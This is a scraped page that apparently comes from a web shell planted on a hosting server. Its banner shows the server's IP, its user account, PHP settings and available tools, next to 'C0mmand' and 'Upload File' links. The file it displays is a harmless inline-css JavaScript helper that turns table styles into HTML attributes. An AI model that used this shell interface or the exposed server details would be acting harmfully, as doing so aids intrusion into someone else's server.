Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/inline-css/lib/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
const tableStyleAttrMap = { table: { float: 'align', 'background-color': 'bgcolor', width: 'width', height: 'height' }, tr: { 'background-color': 'bgcolor', 'vertical-align': 'valign', 'text-align': 'align' }, 'td,th': { 'background-color': 'bgcolor', width: 'width', height: 'height', 'vertical-align': 'valign', 'text-align': 'align', 'white-space': 'nowrap' }, 'tbody,thead,tfoot': { 'vertical-align': 'valign', 'text-align': 'align' } }; const attributesToRemovePxFrom = [ 'height', 'width' ]; const applyStylesAsProps = ($el, styleToAttrMap) => { let style, styleVal, attributeValue; for (style in styleToAttrMap) { styleVal = $el.css(style); if (styleVal !== undefined) { if (attributesToRemovePxFrom.indexOf(style) > -1) { attributeValue = styleVal.replace(/px$/i, ''); } else { attributeValue = styleVal; } $el.attr(styleToAttrMap[style], attributeValue); $el.css(style, ''); } } }; const batchApplyStylesAsProps = ($el, sel, $) => { $el.find(sel).each((i, childEl) => { applyStylesAsProps($(childEl), tableStyleAttrMap[sel]); }); }; function resetAttr(node, attribute) { if (node.attr(attribute)) { return; } node.attr(attribute, 0); } module.exports = (el, $) => { let selector; let $el = $(el); resetAttr($el, 'border'); resetAttr($el, 'cellpadding'); resetAttr($el, 'cellspacing'); for (selector in tableStyleAttrMap) { if (selector === 'table') { applyStylesAsProps($el, tableStyleAttrMap.table); } else { batchApplyStylesAsProps($el, selector, $); } } };